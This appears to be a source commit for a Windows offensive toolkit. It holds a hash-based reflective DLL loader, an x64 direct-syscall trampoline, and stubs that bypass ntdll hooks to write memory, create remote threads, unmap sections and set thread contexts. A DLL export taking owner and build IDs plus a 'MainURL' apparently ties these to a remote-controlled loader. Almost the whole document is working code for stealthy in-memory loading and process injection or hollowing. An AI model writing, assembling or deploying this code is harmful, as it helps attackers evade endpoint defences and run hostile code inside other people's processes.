int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
/**
* Load a string resource with a given language.
*/
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
/**
* Default implementation of CustomAllocFunc that calls VirtualAlloc
* internally to allocate memory for a library
*
* This is the default as used by MemoryLoadLibrary.
*/
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
/**
* Default implementation of CustomFreeFunc that calls VirtualFree
* internally to free the memory used by a library
*
* This is the default as used by MemoryLoadLibrary.
*/
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
/**
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
* internally to load an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
/**
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
* internally to get the address of an exported function.
*
* This is the default as used by MemoryLoadLibrary.
*/
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
/**
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
* internally to release an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
#ifdef __cplusplus
}
#endif
#endif // __MEMORY_MODULE_HEADER
+21
View File
@@ -0,0 +1,21 @@
#ifndef MYFUNCTIONS_H
#define MYFUNCTIONS_H
#include <windows.h>
#include <vector>
#include <cstdint>
#ifdef MYFUNCTIONS_EXPORTS
#define MYFUNCTIONS_API __declspec(dllexport)
#else
#define MYFUNCTIONS_API __declspec(dllimport)
#endif
extern "C" {
MYFUNCTIONS_API int Mannot(std::string ownrdid, std::string bldsid, std::string MainURL);
}
#endif
@@ -0,0 +1,256 @@
// reflective_loader.c
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#include <windows.h>
#include "reflective_loader.h"
#pragma intrinsic(_ReturnAddress)
#pragma intrinsic(_rotr)
static DWORD ror_dword_loader(DWORD d)
{
return _rotr(d, HASH_KEY);
}
static DWORD hash_string_loader(char *c)
{
DWORD h = 0;
do
{
h = ror_dword_loader(h);
h += *c;
} while (*++c);
return h;
}
__declspec(noinline) ULONG_PTR GetIp(VOID)
{
return (ULONG_PTR)_ReturnAddress();
}
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
{
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
GETPROCADDRESS_FN fnGetProcAddress = NULL;
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
ULONG_PTR uiDllBase;
ULONG_PTR uiPeb;
ULONG_PTR uiKernel32Base = 0;
ULONG_PTR uiNtdllBase = 0;
PIMAGE_NT_HEADERS pNtHeaders_current;
PIMAGE_DOS_HEADER pDosHeader_current;
uiDllBase = GetIp();
while (TRUE)
{
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
{
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
break;
}
uiDllBase--;
}
#if defined(_M_X64)
uiPeb = __readgsqword(0x60);
#elif defined(_M_ARM64)
uiPeb = __readx18qword(0x60);
#else
return 0;
#endif
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
{
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
{
DWORD dwModuleHash = 0;
USHORT usCounter = pEntry->BaseDllName.Length;
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
do
{
dwModuleHash = ror_dword_loader(dwModuleHash);
if (*pNameByte >= 'a' && *pNameByte <= 'z')
{
dwModuleHash += (*pNameByte - 0x20);
}
else
{
dwModuleHash += *pNameByte;
}
pNameByte++;
} while (--usCounter);
if (dwModuleHash == KERNEL32DLL_HASH)
{
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
}
else if (dwModuleHash == NTDLLDLL_HASH)
{
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if (!uiKernel32Base || !uiNtdllBase)
return 0;
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
{
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
DWORD dwHashVal = hash_string_loader(sName);
if (dwHashVal == LOADLIBRARYA_HASH)
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == GETPROCADDRESS_HASH)
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == VIRTUALALLOC_HASH)
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
break;
}
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
return 0;
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
{
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
{
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
break;
}
}
if (!fnNtFlushInstructionCache)
return 0;
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!uiNewImageBase)
return 0;
PBYTE pSourceBytes = (PBYTE)uiDllBase;
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
{
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
}
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (pRelocationData->Size > 0 && uiDelta != 0)
{
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
while (pRelocBlock->VirtualAddress)
{
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD k = 0; k < dwEntryCount; k++)
{
#if defined(_M_X64) || defined(_M_ARM64)
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
}
#else
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
}
#endif
}
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
}
}
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pImportData->Size > 0)
{
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
while (pImportDesc->Name)
{
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
if (hModule)
{
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
if (!pOriginalFirstThunk)
pOriginalFirstThunk = pFirstThunk;
while (pOriginalFirstThunk->u1.AddressOfData)
{
FARPROC pfnImportedFunc;
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
{
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
}
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
pOriginalFirstThunk++;
pFirstThunk++;
}
}
pImportDesc++;
}
}
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
return uiNewImageBase;
}
@@ -0,0 +1,213 @@
// reflective_loader.h
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#ifndef REFLECTIVE_LOADER_H
#define REFLECTIVE_LOADER_H
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <intrin.h>
#if defined(_M_X64) || defined(_M_ARM64)
#define ENVIRONMENT64
#else
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
#endif
#if defined(_MSC_VER)
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT
#endif
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
#define HASH_KEY 13
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
typedef struct _UNICODE_STRING_LDR
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
typedef struct _PEB_LDR_DATA_LDR
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING_LDR FullDllName;
UNICODE_STRING_LDR BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
typedef struct _PEB_LDR
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAware : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA_LDR Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1;
ULONG ReservedBits0 : 24;
};
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ActiveProcessAffinityMask;
ULONG GdiHandleBuffer[60];
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;
UNICODE_STRING_LDR CSDVersion;
PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;
SIZE_T MinimumStackCommit;
PVOID SparePointers[2];
PVOID PatchLoaderData;
PVOID ChpeV2ProcessInfo;
ULONG AppModelFeatureState;
ULONG SpareUlongs[2];
USHORT ActiveConsoleId;
USHORT AppCompatVersionInfo;
PVOID ExtendedProcessInfo;
} PEB_LDR, *PPEB_LDR;
typedef struct _IMAGE_RELOC_ENTRY
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
#endif
@@ -0,0 +1,51 @@
; syscall_trampoline_x64.asm
; v0.14.2 (c) Alexander 'xaitax' Hagenah
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
;
; ABI-compliant x64 trampoline with unconditional marshalling for max arguments.
; Allocates sufficient stack to prevent overwrite issues. Uses rep movsq for efficient block copy.
; Preserves necessary non-volatile registers. Eliminates dynamic loop to reduce complexity and potential errors.
; Sets SSN before dispatching to gadget. Handles up to 11 syscall arguments safely (copies 8 stack slots, extra as harmless garbage).
.code
ALIGN 16
PUBLIC SyscallTrampoline
SyscallTrampoline PROC FRAME
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
sub rsp, 80h ; Allocate 128 bytes: safe for shadow (0x20) + 8 qwords (0x40) + padding
.ENDPROLOG
mov rbx, rcx ; Preserve SYSCALL_ENTRY* in rbx (non-volatile)
; Marshal register-based arguments (shifted due to extra SYSCALL_ENTRY* parameter)
mov r10, rdx ; Syscall-Arg1 <- C-Arg2
mov rdx, r8 ; Syscall-Arg2 <- C-Arg3
mov r8, r9 ; Syscall-Arg3 <- C-Arg4
mov r9, [rbp+30h] ; Syscall-Arg4 <- C-Arg5 (from caller's stack)
; Unconditionally marshal 8 stack arguments (covers max of 7 needed + 1 extra; garbage for fewer is harmless)
lea rsi, [rbp+38h] ; Source: C-Arg6 (Syscall-Arg5 position in caller's stack)
lea rdi, [rsp+20h] ; Destination: Syscall-Arg5 position in local stack
mov rcx, 8 ; Copy 8 qwords (64 bytes)
rep movsq ; Block copy (efficient and modular)
; Prepare for kernel transition
movzx eax, word ptr [rbx+12] ; Load SSN into EAX
mov r11, [rbx] ; Load gadget address
call r11 ; Dispatch to gadget (syscall; ret)
; Epilogue: Restore stack and registers
add rsp, 80h
pop rsi
pop rdi
pop rbx
pop rbp
ret
SyscallTrampoline ENDP
END
@@ -0,0 +1,264 @@
// syscalls.cpp
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#include "syscalls.h"
#include <vector>
#include <string>
#include <algorithm>
#include <cstdint>
#include <iostream>
#include <sstream>
#include <iomanip>
#include <map>
#include <functional>
SYSCALL_STUBS g_syscall_stubs{};
static bool g_verbose_syscalls = false;
static void debug_print(const std::string &msg)
{
if (g_verbose_syscalls)
{
std::cout << "[#] [Syscalls] " << msg << std::endl;
}
}
extern "C" NTSTATUS SyscallTrampoline(...);
namespace
{
struct SORTED_SYSCALL_MAPPING
{
PVOID pAddress;
LPCSTR szName;
};
bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b)
{
return reinterpret_cast<uintptr_t>(a.pAddress) < reinterpret_cast<uintptr_t>(b.pAddress);
}
PVOID FindSyscallGadget_x64(PVOID pFunction)
{
for (DWORD i = 0; i <= 20; ++i)
{
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
if (*reinterpret_cast<PWORD>(current_addr) == 0x050F && *(current_addr + 2) == 0xC3)
{
return current_addr;
}
}
return nullptr;
}
PVOID FindSvcGadget_ARM64(PVOID pFunction)
{
for (DWORD i = 0; i <= 20; i += 4)
{
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
DWORD instruction = *reinterpret_cast<PDWORD>(current_addr);
if ((instruction & 0xFF000000) == 0xD4000000 && *reinterpret_cast<PDWORD>(current_addr + 4) == 0xD65F03C0)
{
return current_addr;
}
}
return nullptr;
}
}
BOOL InitializeSyscalls(bool is_verbose)
{
g_verbose_syscalls = is_verbose;
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll)
{
debug_print("GetModuleHandleW for ntdll.dll failed.");
return FALSE;
}
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<PBYTE>(hNtdll) + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<PBYTE>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
auto pNameRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNames);
auto pAddressRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfFunctions);
auto pOrdinalRvas = reinterpret_cast<PWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNameOrdinals);
std::vector<SORTED_SYSCALL_MAPPING> sortedSyscalls;
sortedSyscalls.reserve(pExportDir->NumberOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i)
{
LPCSTR szFuncName = reinterpret_cast<LPCSTR>(reinterpret_cast<PBYTE>(hNtdll) + pNameRvas[i]);
if (strncmp(szFuncName, "Zw", 2) == 0)
{
PVOID pFuncAddress = reinterpret_cast<PVOID>(reinterpret_cast<PBYTE>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]);
sortedSyscalls.push_back({pFuncAddress, szFuncName});
}
}
std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings);
debug_print("Found and sorted " + std::to_string(sortedSyscalls.size()) + " Zw* functions.");
struct CStringComparer
{
bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; }
};
const std::map<const char *, std::pair<SYSCALL_ENTRY *, UINT>, CStringComparer> required_syscalls = {
{"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}},
{"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}},
{"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}},
{"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}},
{"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}},
{"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}},
{"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}},
{"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}},
{"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}},
{"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}},
{"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}},
{"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}},
{"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}},
{"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}},
{"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}}};
for (WORD i = 0; i < sortedSyscalls.size(); ++i)
{
const auto &mapping = sortedSyscalls[i];
auto it = required_syscalls.find(mapping.szName);
if (it == required_syscalls.end())
{
continue;
}
PVOID pGadget = nullptr;
#if defined(_M_X64)
pGadget = FindSyscallGadget_x64(mapping.pAddress);
#elif defined(_M_ARM64)
pGadget = FindSvcGadget_ARM64(mapping.pAddress);
#endif
if (pGadget)
{
it->second.first->pSyscallGadget = pGadget;
it->second.first->nArgs = it->second.second;
it->second.first->ssn = i;
}
}
bool all_found = true;
for (const auto &pair : required_syscalls)
{
if (!pair.second.first->pSyscallGadget)
{
all_found = false;
break;
}
}
if (all_found)
{
debug_print("Successfully initialized all direct syscall stubs.");
}
else
{
debug_print("ERROR: One or more required syscall gadgets could not be found.");
}
for (const auto &pair : required_syscalls)
{
const char *name = pair.first;
const auto *stub = pair.second.first;
std::stringstream ss;
ss << " - " << (name + 2);
if (stub->pSyscallGadget)
{
ss << " (SSN: " << stub->ssn << ") -> Gadget: 0x" << std::hex << reinterpret_cast<uintptr_t>(stub->pSyscallGadget);
debug_print(ss.str());
}
else
{
ss << " -> FAILED to find required gadget.";
debug_print(ss.str());
}
}
return all_found;
}
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
}
NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
}
NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);
}
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType);
}
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
}
NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
